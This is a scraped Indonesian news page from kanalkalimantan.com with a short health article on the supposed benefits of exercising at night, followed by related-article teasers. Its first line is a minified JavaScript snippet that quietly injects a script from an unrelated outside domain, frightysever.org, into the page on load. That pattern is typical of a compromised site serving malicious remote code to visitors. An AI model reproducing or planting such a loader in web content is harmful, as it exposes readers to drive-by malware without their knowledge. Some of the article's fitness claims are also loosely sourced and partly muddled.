(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU– Olahraga rutin memang disarankan untuk menjaga kesehatan tubuh. Tapi, beberapa orang mungkin suka melakukan olahraga di pagi hari dan ada pula di malam hari sebelum tidur.
Menurut sains, olahraga malam sama sehat dan efisiennya dengan olahraga pagi hari. Olahraga malam hari ini juga tidak akan membuat aktivitas hidup Anda terbolak-balik.
Namun dilansir dari Bright Side, ada beberapa hal yang akan terjadi pada tubuh ketika rutin olahraga malam hari sebelum tidur.
1. Tidur lebih nyenyak
Banyak orang mengira olahraga sebelum tidur justru akan membuat tubuh terjaga sepanjang malam. Faktanya, olahraga malam hari justru akan meningkatkan kualitas tidur.
Baca juga : Wayang Pop Culture Karya Ilustrator Surabaya Diapresiasi Disney, Hingga Aktor Bennedict Cumberbatch
Menurut Penelitian ETH Zurich, olahraga malam hari yang baik untuk meningkatkan kualitas tidur adalah latihan HIIT yang bisa membantu mata lebih cepat terlelap.
2. Otot lebih cepat terbentuk
Rasio testosteron dan kortisol paling baik pada malam hari untuk pertumbuhan otot. Meskipun rasionya lebih tinggi di pagi hari, efek pembentukan otot bekerja sepenuhnya ketika matahari terbenam. Pada olahraga malam hari untuk membentuk otot, lebih baik fokus pada lari jarak jauh yang lebih ringan.
3. Melepaskan stres
Kebanyakan orang lebih sulit tertidur lelap ketika terlalu banyak pikiran atau stres. Tapi, olahraga sebelum tidur bisa membantu mengatasi stres, seperti olahraga yoga.
Yoga juga dikenal sebagai olahraga yang membantu mengurangi stres, kecemasan, memperlambat pikiran dan memperdalam napas. Olahraga ini bisa membantu lebih banyak oksigen masuk ke dalam tubuh.
4. Tubuh lebih bertenaga
Suhu tubuh akan meningkat antara jam 2 siang hingga jam 6 sore. Kondisi ini membuat Anda lebih berusaha keras melakukan latihan fisik atau olahraga.
Jadi, lari di malam hari bisa jadi pilihan terbaik. Sebuah studi menemukan berlari malam hari tanpa ada gangguan bisa membuat Anda berlari lebih cepat. (suara)
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.